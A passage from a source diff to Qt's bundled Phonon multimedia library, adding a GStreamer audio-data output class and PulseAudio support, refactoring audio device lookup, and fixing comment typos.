+   if (QT_USE_FRAMEWORKS)
+     set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -F${QT_LIBRARY_DIR}")
+   endif (QT_USE_FRAMEWORKS)
+
    check_cxx_compiler_flag(-fPIE HAVE_FPIE_SUPPORT)
    if(KDE4_ENABLE_FPIE)
        if(HAVE_FPIE_SUPPORT)
@@ -149,7 +153,7 @@ set(CMAKE_COLOR_MAKEFILE ON)
 
 set(PHONON_LIB_MAJOR_VERSION "4")
 set(PHONON_LIB_MINOR_VERSION "3")
-set(PHONON_LIB_PATCH_VERSION "50")
+set(PHONON_LIB_PATCH_VERSION "80")
 set(PHONON_LIB_VERSION "${PHONON_LIB_MAJOR_VERSION}.4.0")
 set(PHONON_LIB_SOVERSION ${PHONON_LIB_MAJOR_VERSION})
 
diff --git a/src/3rdparty/phonon/ds9/iodevicereader.cpp b/src/3rdparty/phonon/ds9/iodevicereader.cpp
index 695af59..ba4ae5c 100644
--- a/src/3rdparty/phonon/ds9/iodevicereader.cpp
+++ b/src/3rdparty/phonon/ds9/iodevicereader.cpp
@@ -128,9 +128,6 @@ namespace Phonon
                   int oldSize = m_buffer.size();
                   while (m_buffer.size() < int(length)) {
                       needData();
-                      if (m_mediaGraph->isStopping()) {
-                          return VFW_E_WRONG_STATE;
-                      }
 
                       if (oldSize == m_buffer.size()) {
                           break; //we didn't get any data
diff --git a/src/3rdparty/phonon/ds9/mediaobject.cpp b/src/3rdparty/phonon/ds9/mediaobject.cpp
index 34f92c2..d640956 100644
--- a/src/3rdparty/phonon/ds9/mediaobject.cpp
+++ b/src/3rdparty/phonon/ds9/mediaobject.cpp
@@ -27,6 +27,9 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 #include <objbase.h>
 #include <initguid.h>
 #include <qnetwork.h>
+#ifdef Q_CC_MSVC
+# include <comdef.h>
+#endif
 #include <evcode.h>
 
 #include "mediaobject.h"
diff --git a/src/3rdparty/phonon/gstreamer/CMakeLists.txt b/src/3rdparty/phonon/gstreamer/CMakeLists.txt
index 08f892a..2249ac3 100644
--- a/src/3rdparty/phonon/gstreamer/CMakeLists.txt
+++ b/src/3rdparty/phonon/gstreamer/CMakeLists.txt
@@ -19,7 +19,7 @@ include(ConfigureChecks.cmake)
 if (BUILD_PHONON_GSTREAMER)
    include_directories(
 	  ${CMAKE_CURRENT_BINARY_DIR}
-	  ${GSTREAMER_INCLUDE_DIR} 
+	  ${GSTREAMER_INCLUDE_DIR}
 	  ${GLIB2_INCLUDE_DIR}
       ${LIBXML2_INCLUDE_DIR}
 	  ${X11_X11_INCLUDE_PATH})
@@ -34,7 +34,6 @@ if (BUILD_PHONON_GSTREAMER)
 
    set(phonon_gstreamer_SRCS
       audiooutput.cpp
-      artssink.cpp
       backend.cpp
       devicemanager.cpp
       effectmanager.cpp
@@ -50,14 +49,20 @@ if (BUILD_PHONON_GSTREAMER)
       message.cpp
       audioeffect.cpp
       abstractrenderer.cpp
-      x11renderer.cpp
       widgetrenderer.cpp
       glrenderer.cpp
       volumefadereffect.cpp
+      audiodataoutput.cpp
       )
 
-   find_package(Alsa)
-   macro_ensure_version("0.10.22" ${GSTREAMER_VERSION} GSTREAMER_HAS_NONBLOCKING_ALSASINK)
+   if(NOT WIN32)
+      set(phonon_gstreamer_SRCS
+          ${phonon_gstreamer_SRCS}
+          artssink.cpp
+          x11renderer.cpp)
+      macro_optional_find_package(Alsa)
+      macro_ensure_version("0.10.22" ${GSTREAMER_VERSION} GSTREAMER_HAS_NONBLOCKING_ALSASINK)
+   endif(NOT WIN32)
    if(ALSA_FOUND AND NOT GSTREAMER_HAS_NONBLOCKING_ALSASINK)
       add_definitions(-DUSE_ALSASINK2)
       include_directories(${ALSA_INCLUDES})
@@ -78,6 +83,9 @@ if (BUILD_PHONON_GSTREAMER)
    if(ALSA_FOUND)
       target_link_libraries(phonon_gstreamer ${ASOUND_LIBRARY})
    endif(ALSA_FOUND)
+   if(USE_INSTALL_PLUGIN)
+       target_link_libraries(phonon_gstreamer ${GSTREAMER_PLUGIN_PBUTILS_LIBRARIES})
+   endif(USE_INSTALL_PLUGIN)
 
    install(TARGETS phonon_gstreamer DESTINATION ${PLUGIN_INSTALL_DIR}/plugins/phonon_backend)
    install(FILES gstreamer.desktop DESTINATION ${SERVICES_INSTALL_DIR}/phononbackends)
diff --git a/src/3rdparty/phonon/gstreamer/ConfigureChecks.cmake b/src/3rdparty/phonon/gstreamer/ConfigureChecks.cmake
index f2922e1..eaf5b99 100644
--- a/src/3rdparty/phonon/gstreamer/ConfigureChecks.cmake
+++ b/src/3rdparty/phonon/gstreamer/ConfigureChecks.cmake
@@ -17,6 +17,7 @@ macro_log_feature(GSTREAMER_FOUND "GStreamer" "gstreamer 0.10 is required for th
 
 macro_optional_find_package(GStreamerPlugins)
 macro_log_feature(GSTREAMER_PLUGIN_VIDEO_LIBRARIES "GStreamer video plugin" "The gstreamer video plugin (part of gstreamer-plugins-base 0.10) is required for the multimedia gstreamer backend" "http://gstreamer.freedesktop.org/modules/" FALSE "0.10")
+macro_log_feature(GSTREAMER_PLUGIN_AUDIO_LIBRARIES "GStreamer audio plugin" "The gstreamer audio plugin (part of gstreamer-plugins-base 0.10) is required for the multimedia gstreamer backend" "http://gstreamer.freedesktop.org/modules/" FALSE "0.10")
 
 macro_optional_find_package(GLIB2)
 macro_log_feature(GLIB2_FOUND "GLib2" "GLib 2 is required to compile the gstreamer backend for Phonon" "http://www.gtk.org/download/" FALSE)
@@ -30,8 +31,8 @@ macro_log_feature(LIBXML2_FOUND "LibXml2" "LibXml2 is required to compile the gs
 macro_optional_find_package(OpenGL)
 macro_log_feature(OPENGL_FOUND "OpenGL" "OpenGL support is required to compile the gstreamer backend for Phonon" "" FALSE)
 
-if (GSTREAMER_FOUND AND GSTREAMER_PLUGIN_VIDEO_LIBRARIES AND GLIB2_FOUND AND GOBJECT_FOUND AND LIBXML2_FOUND AND OPENGL_FOUND)
+if (GSTREAMER_FOUND AND GSTREAMER_PLUGIN_VIDEO_LIBRARIES AND GSTREAMER_PLUGIN_AUDIO_LIBRARIES AND GLIB2_FOUND AND GOBJECT_FOUND AND LIBXML2_FOUND AND OPENGL_FOUND)
    set(BUILD_PHONON_GSTREAMER TRUE)
-else (GSTREAMER_FOUND AND GSTREAMER_PLUGIN_VIDEO_LIBRARIES AND GLIB2_FOUND AND GOBJECT_FOUND AND LIBXML2_FOUND AND OPENGL_FOUND)
+else (GSTREAMER_FOUND AND GSTREAMER_PLUGIN_VIDEO_LIBRARIES AND GSTREAMER_PLUGIN_AUDIO_LIBRARIES AND GLIB2_FOUND AND GOBJECT_FOUND AND LIBXML2_FOUND AND OPENGL_FOUND)
    set(BUILD_PHONON_GSTREAMER FALSE)
-endif (GSTREAMER_FOUND AND GSTREAMER_PLUGIN_VIDEO_LIBRARIES AND GLIB2_FOUND AND GOBJECT_FOUND AND LIBXML2_FOUND AND OPENGL_FOUND)
+endif (GSTREAMER_FOUND AND GSTREAMER_PLUGIN_VIDEO_LIBRARIES AND GSTREAMER_PLUGIN_AUDIO_LIBRARIES AND GLIB2_FOUND AND GOBJECT_FOUND AND LIBXML2_FOUND AND OPENGL_FOUND)
diff --git a/src/3rdparty/phonon/gstreamer/audiodataoutput.cpp b/src/3rdparty/phonon/gstreamer/audiodataoutput.cpp
new file mode 100644
index 0000000..802cb18
--- /dev/null
+++ b/src/3rdparty/phonon/gstreamer/audiodataoutput.cpp
@@ -0,0 +1,149 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2006 Matthias Kretz <kretz@kde.org>
+    Copyright (C) 2009 Martin Sandsmark <sandsmark@samfundet.no>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include "audiodataoutput.h"
+#include "gsthelper.h"
+#include "medianode.h"
+#include "mediaobject.h"
+#include <QtCore/QVector>
+#include <QtCore/QMap>
+#include <phonon/audiooutput.h>
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+namespace Gstreamer
+{
+AudioDataOutput::AudioDataOutput(Backend *backend, QObject *parent)
+    : QObject(parent),
+    MediaNode(backend, AudioSink | AudioSource)
+{
+    static int count = 0;
+    m_name = "AudioDataOutput" + QString::number(count++);
+
+    m_queue = gst_element_factory_make ("identity", NULL);
+    gst_object_ref(m_queue);
+    m_isValid = true;
+}
+
+AudioDataOutput::~AudioDataOutput()
+{
+    gst_element_set_state(m_queue, GST_STATE_NULL);
+    gst_object_unref(m_queue);
+}
+
+int AudioDataOutput::dataSize() const
+{
+    return m_dataSize;
+}
+
+int AudioDataOutput::sampleRate() const
+{
+    return 44100;
+}
+
+void AudioDataOutput::setDataSize(int size)
+{
+    m_dataSize = size;
+}
+
+typedef QMap<Phonon::AudioDataOutput::Channel, QVector<float> > FloatMap;
+typedef QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> > IntMap;
+
+inline void AudioDataOutput::convertAndEmit(const QVector<qint16> &leftBuffer, const QVector<qint16> &rightBuffer)
+{
+    //TODO: Floats
+    IntMap map;
+    map.insert(Phonon::AudioDataOutput::LeftChannel, leftBuffer);
+    map.insert(Phonon::AudioDataOutput::RightChannel, rightBuffer);
+    emit dataReady(map);
+}
+
+void AudioDataOutput::processBuffer(GstPad*, GstBuffer* buffer, gpointer gThat)
+{
+    // TODO emit endOfMedia
+    AudioDataOutput *that = reinterpret_cast<AudioDataOutput*>(gThat);
+
+    // determine the number of channels
+    GstStructure* structure = gst_caps_get_structure (GST_BUFFER_CAPS(buffer), 0);
+    gst_structure_get_int (structure, "channels", &that->m_channels);
+
+    if (that->m_channels > 2 || that->m_channels < 0) {
+        qWarning() << Q_FUNC_INFO << ": Number of channels not supported: " << that->m_channels;
+        return;
+    }
+
+    gint16 *data = reinterpret_cast<gint16*>(GST_BUFFER_DATA(buffer));
+    guint size = GST_BUFFER_SIZE(buffer) / sizeof(gint16);
+
+    that->m_pendingData.reserve(that->m_pendingData.size() + size);
+
+    for (uint i=0; i<size; i++) {
+        // 8 bit? interleaved? yay for lacking documentation!
+        that->m_pendingData.append(data[i]);
+    }
+
+    while (that->m_pendingData.size() > that->m_dataSize * that->m_channels) {
+        if (that->m_channels == 1) {
+            QVector<qint16> intBuffer(that->m_dataSize);
+            memcpy(intBuffer.data(), that->m_pendingData.constData(), that->m_dataSize * sizeof(qint16));
+
+            that->convertAndEmit(intBuffer, intBuffer);
+            int newSize = that->m_pendingData.size() - that->m_dataSize;
+            memmove(that->m_pendingData.data(), that->m_pendingData.constData() + that->m_dataSize, newSize * sizeof(qint16));
+            that->m_pendingData.resize(newSize);
+        } else {
+            QVector<qint16> left(that->m_dataSize), right(that->m_dataSize);
+            for (int i=0; i<that->m_dataSize; i++) {
+                left[i] = that->m_pendingData[i*2];
+                right[i] = that->m_pendingData[i*2+1];
+            }
+            that->m_pendingData.resize(that->m_pendingData.size() - that->m_dataSize*2);
+            that->convertAndEmit(left, right);
+        }
+    }
+}
+
+void AudioDataOutput::mediaNodeEvent(const MediaNodeEvent *event)
+{
+    if (event->type() == MediaNodeEvent::MediaObjectConnected && root()) {
+        g_object_set(G_OBJECT(audioElement()), "sync", true, (const char*)NULL);
+        GstPad *audiopad = gst_element_get_pad (audioElement(), "src");
+        gst_pad_add_buffer_probe (audiopad, G_CALLBACK(processBuffer), this);
+        gst_object_unref (audiopad);
+        return;
+    }
+
+    MediaNode::mediaNodeEvent(event);
+}
+
+}} //namespace Phonon::Gstreamer
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+#include "moc_audiodataoutput.cpp"
+// vim: sw=4 ts=4
+
diff --git a/src/3rdparty/phonon/gstreamer/audiodataoutput.h b/src/3rdparty/phonon/gstreamer/audiodataoutput.h
new file mode 100644
index 0000000..cd5ef49
--- /dev/null
+++ b/src/3rdparty/phonon/gstreamer/audiodataoutput.h
@@ -0,0 +1,90 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2006 Matthias Kretz <kretz@kde.org>
+    Copyright (C) 2009 Martin Sandsmark <sandsmark@samfundet.no>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef Phonon_GSTREAMER_AUDIODATAOUTPUT_H
+#define Phonon_GSTREAMER_AUDIODATAOUTPUT_H
+
+#include "abstractaudiooutput.h"
+#include "backend.h"
+#include "medianode.h"
+#include <phonon/audiodataoutput.h>
+#include <phonon/audiodataoutputinterface.h>
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+namespace Gstreamer
+{
+    /**
+     * \author Martin Sandsmark <sandsmark@samfundet.no>
+     */
+    class AudioDataOutput : public QObject,
+                            public AudioDataOutputInterface,
+                            public MediaNode
+    {
+        Q_OBJECT
+        Q_INTERFACES(Phonon::AudioDataOutputInterface Phonon::Gstreamer::MediaNode)
+
+        public:
+            AudioDataOutput(Backend *, QObject *);
+            ~AudioDataOutput();
+
+        public Q_SLOTS:
+            int dataSize() const;
+            int sampleRate() const;
+            void setDataSize(int size);
+
+        public:
+            /// callback function for handling new audio data
+            static void processBuffer(GstPad*, GstBuffer*, gpointer);
+
+            Phonon::AudioDataOutput* frontendObject() const { return m_frontend; }
+            void setFrontendObject(Phonon::AudioDataOutput *frontend) { m_frontend = frontend; }
+
+            GstElement *audioElement() { return m_queue; }
+
+            void mediaNodeEvent(const MediaNodeEvent *event);
+
+
+        signals:
+            void dataReady(const QMap<Phonon::AudioDataOutput::Channel, QVector<qint16> > &data);
+            void dataReady(const QMap<Phonon::AudioDataOutput::Channel, QVector<float> > &data);
+            void endOfMedia(int remainingSamples);
+
+        private:
+            void convertAndEmit(const QVector<qint16>&, const QVector<qint16>&);
+
+            GstElement *m_queue;
+            int m_dataSize;
+            QVector<qint16> m_pendingData;
+            Phonon::AudioDataOutput *m_frontend;
+            int m_channels;
+    };
+}} //namespace Phonon::Gstreamer
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+// vim: sw=4 ts=4 tw=80
+#endif // Phonon_FAKE_AUDIODATAOUTPUT_H
diff --git a/src/3rdparty/phonon/gstreamer/audiooutput.cpp b/src/3rdparty/phonon/gstreamer/audiooutput.cpp
index 641ff6b..f3137b2 100644
--- a/src/3rdparty/phonon/gstreamer/audiooutput.cpp
+++ b/src/3rdparty/phonon/gstreamer/audiooutput.cpp
@@ -125,6 +125,7 @@ void AudioOutput::setVolume(qreal newVolume)
 bool AudioOutput::setOutputDevice(int newDevice)
 {
     m_backend->logMessage(Q_FUNC_INFO + QString::number(newDevice), Backend::Info, this);
+
     if (newDevice == m_device)
         return true;
 
@@ -135,20 +136,11 @@ bool AudioOutput::setOutputDevice(int newDevice)
     }
 
     bool success = false;
-    const QList<AudioDevice> deviceList = m_backend->deviceManager()->audioOutputDevices();
-    int deviceIdx = -1;
-    for (int i=0; i<deviceList.size(); i++) {
-        if (deviceList.at(i).id == newDevice) {
-            deviceIdx = i;
-            break;
-        }
-    }
-
-    if (m_audioSink && deviceIdx >= 0) {
+    if (m_audioSink &&  newDevice >= 0) {
         // Save previous state
         GstState oldState = GST_STATE(m_audioSink);
         const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, "device");
-        const QByteArray deviceId = deviceList.at(deviceIdx).gstId;
+        const QByteArray deviceId = m_backend->deviceManager()->gstId(newDevice);
         m_device = newDevice;
 
         // We test if the device can be opened by checking if it can go from NULL to READY state
@@ -170,7 +162,7 @@ bool AudioOutput::setOutputDevice(int newDevice)
                                   deviceId, Backend::Info, this);
         }
 
-        // Note the stopped state should not really be neccessary, but seems to be required to 
+        // Note the stopped state should not really be necessary, but seems to be required to
         // properly reset after changing the audio state
         if (root()) {
             QMetaObject::invokeMethod(root(), "setState", Qt::QueuedConnection, Q_ARG(State, StoppedState));
diff --git a/src/3rdparty/phonon/gstreamer/backend.cpp b/src/3rdparty/phonon/gstreamer/backend.cpp
index dab6f35..729a1d3 100644
--- a/src/3rdparty/phonon/gstreamer/backend.cpp
+++ b/src/3rdparty/phonon/gstreamer/backend.cpp
@@ -18,6 +18,7 @@
 #include "common.h"
 #include "backend.h"
 #include "audiooutput.h"
+#include "audiodataoutput.h"
 #include "audioeffect.h"
 #include "mediaobject.h"
 #include "videowidget.h"
@@ -26,6 +27,7 @@
 #include "message.h"
 #include "volumefadereffect.h"
 #include <gst/interfaces/propertyprobe.h>
+#include <phonon/pulsesupport.h>
 
 #include <QtCore/QSet>
 #include <QtCore/QVariant>
@@ -49,13 +51,17 @@ Backend::Backend(QObject *parent, const QVariantList &)
         , m_debugLevel(Warning)
         , m_isValid(false)
 {
+    // Initialise PulseAudio support
+    PulseSupport *pulse = PulseSupport::getInstance();
+    pulse->enable();
+    connect(pulse, SIGNAL(objectDescriptionChanged(ObjectDescriptionType)), SIGNAL(objectDescriptionChanged(ObjectDescriptionType)));
+
     // In order to support reloading, we only set the app name once...
     static bool first = true;
     if (first) {
         first = false;
         g_set_application_name(qApp->applicationName().toUtf8());
     }
-
     GError *err = 0;
     bool wasInit = gst_init_check(0, 0, &err);  //init gstreamer: must be called before any gst-related functions
     if (err)
@@ -92,6 +98,9 @@ Backend::Backend(QObject *parent, const QVariantList &)
 
 Backend::~Backend() 
 {
+    delete m_effectManager;
+    delete m_deviceManager;
+    PulseSupport::shutdown();
 }
 
 gboolean Backend::busCall(GstBus *bus, GstMessage *msg, gpointer data)
@@ -119,18 +128,15 @@ QObject *Backend::createObject(BackendInterface::Class c, QObject *parent, const
     case MediaObjectClass:
         return new MediaObject(this, parent);
 
-    case AudioOutputClass: {
-            AudioOutput *ao = new AudioOutput(this, parent);
-            m_audioOutputs.append(ao);
-            return ao;
-        }
+    case AudioOutputClass:
+        return new AudioOutput(this, parent);
+
 #ifndef QT_NO_PHONON_EFFECT
     case EffectClass:
         return new AudioEffect(this, args[0].toInt(), parent);
 #endif //QT_NO_PHONON_EFFECT
     case AudioDataOutputClass:
-        logMessage("createObject() : AudioDataOutput not implemented");
-        break;
+        return new AudioDataOutput(this, parent);
 
 #ifndef QT_NO_PHONON_VIDEO
     case VideoDataOutputClass:
@@ -214,14 +220,14 @@ QStringList Backend::availableMimeTypes() const
         GstPluginFeature *feature = GST_PLUGIN_FEATURE(iter->data);
         QString klass = gst_element_factory_get_klass(GST_ELEMENT_FACTORY(feature));
 
-        if (klass == QLatin1String("Codec/Decoder") ||
-            klass == QLatin1String("Codec/Decoder/Audio") ||
-            klass == QLatin1String("Codec/Decoder/Video") ||
-            klass == QLatin1String("Codec/Demuxer") ||
-            klass == QLatin1String("Codec/Demuxer/Audio") ||
-            klass == QLatin1String("Codec/Demuxer/Video") ||
-            klass == QLatin1String("Codec/Parser") ||
-            klass == QLatin1String("Codec/Parser/Audio") ||
+        if (klass == QLatin1String("Codec/Decoder") || 
+            klass == QLatin1String("Codec/Decoder/Audio") || 
+            klass == QLatin1String("Codec/Decoder/Video") || 
+            klass == QLatin1String("Codec/Demuxer") || 
+            klass == QLatin1String("Codec/Demuxer/Audio") || 
+            klass == QLatin1String("Codec/Demuxer/Video") || 
+            klass == QLatin1String("Codec/Parser") || 
+            klass == QLatin1String("Codec/Parser/Audio") || 
             klass == QLatin1String("Codec/Parser/Video")) {
 
             const GList *static_templates;
@@ -234,16 +240,28 @@ QStringList Backend::availableMimeTypes() const
                     GstCaps *caps = gst_static_pad_template_get_caps (padTemplate);
 
                     if (caps) {
-                        const GstStructure* capsStruct = gst_caps_get_structure (caps, 0);
-                        QString mime = QString::fromUtf8(gst_structure_get_name (capsStruct));
-                        if (!availableMimeTypes.contains(mime))
-                              availableMimeTypes.append(mime);
+                        for (unsigned int struct_idx = 0; struct_idx < gst_caps_get_size (caps); struct_idx++) {
+
+                            const GstStructure* capsStruct = gst_caps_get_structure (caps, struct_idx);
+                            QString mime = QString::fromUtf8(gst_structure_get_name (capsStruct));
+                            if (!availableMimeTypes.contains(mime))
+                                availableMimeTypes.append(mime);
+                        }
                     }
                 }
             }
         }
     }
     g_list_free(factoryList);
+    if (availableMimeTypes.contains("audio/x-vorbis")
+        && availableMimeTypes.contains("application/x-ogm-audio")) {
+        if (!availableMimeTypes.contains("audio/x-vorbis+ogg"))
+            availableMimeTypes.append("audio/x-vorbis+ogg");
+        if (!availableMimeTypes.contains("application/ogg"))  /* *.ogg */
+            availableMimeTypes.append("application/ogg");
+        if (!availableMimeTypes.contains("audio/ogg")) /* *.oga */
+            availableMimeTypes.append("audio/ogg");
+    }
     availableMimeTypes.sort();
     return availableMimeTypes;
 }
@@ -293,14 +311,11 @@ QHash<QByteArray, QVariant> Backend::objectDescriptionProperties(ObjectDescripti
 
     switch (type) {
     case Phonon::AudioOutputDeviceType: {
-            QList<AudioDevice> audioDevices = deviceManager()->audioOutputDevices();
-            foreach(const AudioDevice &device, audioDevices) {
-                if (device.id == index) {
-                    ret.insert("name", device.gstId);
-                    ret.insert("description", device.description);
-                    ret.insert("icon", QLatin1String("audio-card"));
-                    break;
-                }
+            AudioDevice* ad;
+            if ((ad = deviceManager()->audioDevice(index))) {
+                ret.insert("name", ad->gstId);
+                ret.insert("description", ad->description);
+                ret.insert("icon", ad->icon);
             }
         }
         break;
@@ -429,7 +444,7 @@ EffectManager* Backend::effectManager() const
 
 /**
  * Returns a debuglevel that is determined by the
- * PHONON_GSTREAMER_DEBUG environment variable.
+ * PHONON_GST_DEBUG environment variable.
  *
  *  Warning - important warnings
  *  Info    - general info
diff --git a/src/3rdparty/phonon/gstreamer/backend.h b/src/3rdparty/phonon/gstreamer/backend.h
index 2aab6fa..d157f11 100644
--- a/src/3rdparty/phonon/gstreamer/backend.h
+++ b/src/3rdparty/phonon/gstreamer/backend.h
@@ -86,7 +86,6 @@ private Q_SLOTS:
 
 private:
     static gboolean busCall(GstBus *bus, GstMessage *msg, gpointer data);
-    QList<QPointer<AudioOutput> > m_audioOutputs;
 
     DeviceManager *m_deviceManager;
     EffectManager *m_effectManager;
diff --git a/src/3rdparty/phonon/gstreamer/devicemanager.cpp b/src/3rdparty/phonon/gstreamer/devicemanager.cpp
index 60e860f..c3826eb 100644
--- a/src/3rdparty/phonon/gstreamer/devicemanager.cpp
+++ b/src/3rdparty/phonon/gstreamer/devicemanager.cpp
@@ -24,6 +24,7 @@
 #include "widgetrenderer.h"
 #include "x11renderer.h"
 #include "artssink.h"
+#include "pulsesupport.h"
 
 #ifdef USE_ALSASINK2
 #include "alsasink2.h"
@@ -44,9 +45,12 @@ namespace Gstreamer
 AudioDevice::AudioDevice(DeviceManager *manager, const QByteArray &gstId)
         : gstId(gstId)
 {
-    //get an id
-    static int counter = 0;
-    id = counter++;
+    // This should never be called when PulseAudio is active.
+    Q_ASSERT(!PulseSupport::getInstance()->isActive());
+
+    id = manager->allocateDeviceId();
+    icon = "audio-card";
+
     //get name from device
     if (gstId == "default") {
         description = "Default audio device";
@@ -71,22 +75,25 @@ AudioDevice::AudioDevice(DeviceManager *manager, const QByteArray &gstId)
 DeviceManager::DeviceManager(Backend *backend)
         : QObject(backend)
         , m_backend(backend)
+        , m_audioDeviceCounter(0)
 {
-    m_audioSink = qgetenv("PHONON_GST_AUDIOSINK");
-    m_videoSinkWidget = qgetenv("PHONON_GST_VIDEOMODE");
-
-#ifndef QT_NO_SETTINGS
     QSettings settings(QLatin1String("Trolltech"));
     settings.beginGroup(QLatin1String("Qt"));
 
+    PulseSupport *pulse = PulseSupport::getInstance();
+    m_audioSink = qgetenv("PHONON_GST_AUDIOSINK");
     if (m_audioSink.isEmpty()) {
         m_audioSink = settings.value(QLatin1String("audiosink"), "Auto").toByteArray().toLower();
+        if (m_audioSink == "auto" && pulse->isActive())
+            m_audioSink = "pulsesink";
     }
+    if ("pulsesink" != m_audioSink)
+        pulse->enable(false);
 
+    m_videoSinkWidget = qgetenv("PHONON_GST_VIDEOMODE");
     if (m_videoSinkWidget.isEmpty()) {
         m_videoSinkWidget = settings.value(QLatin1String("videomode"), "Auto").toByteArray().toLower();
     }
-#endif //QT_NO_SETTINGS
 
     if (m_backend->isValid())
         updateDeviceList();
@@ -271,9 +278,17 @@ AbstractRenderer *DeviceManager::createVideoRenderer(VideoWidget *parent)
 }
 #endif //QT_NO_PHONON_VIDEO
 
-/*
- * Returns a positive device id or -1 if device
- * does not exist
+/**
+ * Allocate a device id for a new audio device
+ */
+int DeviceManager::allocateDeviceId()
+{
+    return m_audioDeviceCounter++;
+}
+
+
+/**
+ * Returns a positive device id or -1 if device does not exist
  *
  * The gstId is typically in the format hw:1,0
  */
@@ -288,16 +303,30 @@ int DeviceManager::deviceId(const QByteArray &gstId) const
 }
 
 /**
- * Get a human-readable description from a device id
+ * Returns a gstId or "default" if device does not exist
+ *
+ * The gstId is typically in the format hw:1,0
  */
-QByteArray DeviceManager::deviceDescription(int id) const
+const QByteArray DeviceManager::gstId(int deviceId)
+{
+    if (!PulseSupport::getInstance()->isActive()) {
+        AudioDevice *ad = audioDevice(deviceId);
+        if (ad)
+            return QByteArray(ad->gstId);
+    }
+    return QByteArray("default");
+}
+
+/**
+* Get the AudioDevice for a given device id
+*/
+AudioDevice* DeviceManager::audioDevice(int id)
 {
     for (int i = 0 ; i < m_audioDeviceList.size() ; ++i) {
-        if (m_audioDeviceList[i].id == id) {
-            return m_audioDeviceList[i].description;
-        }
+        if (m_audioDeviceList[i].id == id)
+            return &m_audioDeviceList[i];
     }
-    return QByteArray();
+    return NULL;
 }
 
 /**
@@ -311,8 +340,11 @@ void DeviceManager::updateDeviceList()
     QList<QByteArray> list;
 
     if (audioSink) {
-        list = GstHelper::extractProperties(audioSink, "device");
-        list.prepend("default");
+        if (!PulseSupport::getInstance()->isActive()) {
+            // If we're using pulse, the PulseSupport class takes care of things for us.
+            list = GstHelper::extractProperties(audioSink, "device");
+            list.prepend("default");
+        }
 
         for (int i = 0 ; i < list.size() ; ++i) {
             QByteArray gstId = list.at(i);
diff --git a/src/3rdparty/phonon/gstreamer/devicemanager.h b/src/3rdparty/phonon/gstreamer/devicemanager.h
index a5e8289..9c6aa8d 100644
--- a/src/3rdparty/phonon/gstreamer/devicemanager.h
+++ b/src/3rdparty/phonon/gstreamer/devicemanager.h
@@ -42,6 +42,7 @@ public :
     int id;
     QByteArray gstId;
     QByteArray description;
+    QString icon;
 };
 
 class DeviceManager : public QObject {
@@ -51,8 +52,10 @@ public:
     virtual ~DeviceManager();
     const QList<AudioDevice> audioOutputDevices() const;
     GstPad *requestPad(int device) const;
+    int allocateDeviceId();
     int deviceId(const QByteArray &gstId) const;
-    QByteArray deviceDescription(int id) const;
+    const QByteArray gstId(int id);
+    AudioDevice* audioDevice(int id);
     GstElement *createGNOMEAudioSink(Category category);
     GstElement *createAudioSink(Category category = NoCategory);
     AbstractRenderer *createVideoRenderer(VideoWidget *parent);
@@ -68,6 +71,7 @@ private:
     bool canOpenDevice(GstElement *element) const;
     Backend *m_backend;
     QList <AudioDevice> m_audioDeviceList;
+    int m_audioDeviceCounter;
     QTimer m_devicePollTimer;
     QByteArray m_audioSink;
     QByteArray m_videoSinkWidget;
diff --git a/src/3rdparty/phonon/gstreamer/effectmanager.cpp b/src/3rdparty/phonon/gstreamer/effectmanager.cpp
index 563e6fc..6c88148 100644
--- a/src/3rdparty/phonon/gstreamer/effectmanager.cpp
+++ b/src/3rdparty/phonon/gstreamer/effectmanager.cpp
@@ -54,7 +54,7 @@ EffectManager::EffectManager(Backend *backend)
             // "volume" not needed
             // "equalizer-nbands" not really useful at the moment
 
-            // These plugins simply dont work or have major stability issues:
+            // These plugins simply don't work or have major stability issues:
             // "iir" Does not seem to do much at the moment
             // "audioinvert" Only works for some streams, should be invesigated
             // "lpwsinc" Crashes for large values of filter kernel
diff --git a/src/3rdparty/phonon/gstreamer/glrenderer.cpp b/src/3rdparty/phonon/gstreamer/glrenderer.cpp
index 6cf3459..106884f 100644
--- a/src/3rdparty/phonon/gstreamer/glrenderer.cpp
+++ b/src/3rdparty/phonon/gstreamer/glrenderer.cpp
@@ -266,7 +266,7 @@ GLRenderWidgetImplementation::GLRenderWidgetImplementation(VideoWidget*videoWidg
     palette.setColor(QPalette::Background, Qt::black);
     setPalette(palette);
     setAutoFillBackground(true);
-    // Videowidget allways have this property to allow hiding the mouse cursor
+    // Videowidget always have this property to allow hiding the mouse cursor
     setMouseTracking(true);
 }
 
@@ -304,7 +304,7 @@ void GLRenderWidgetImplementation::paintEvent(QPaintEvent *)
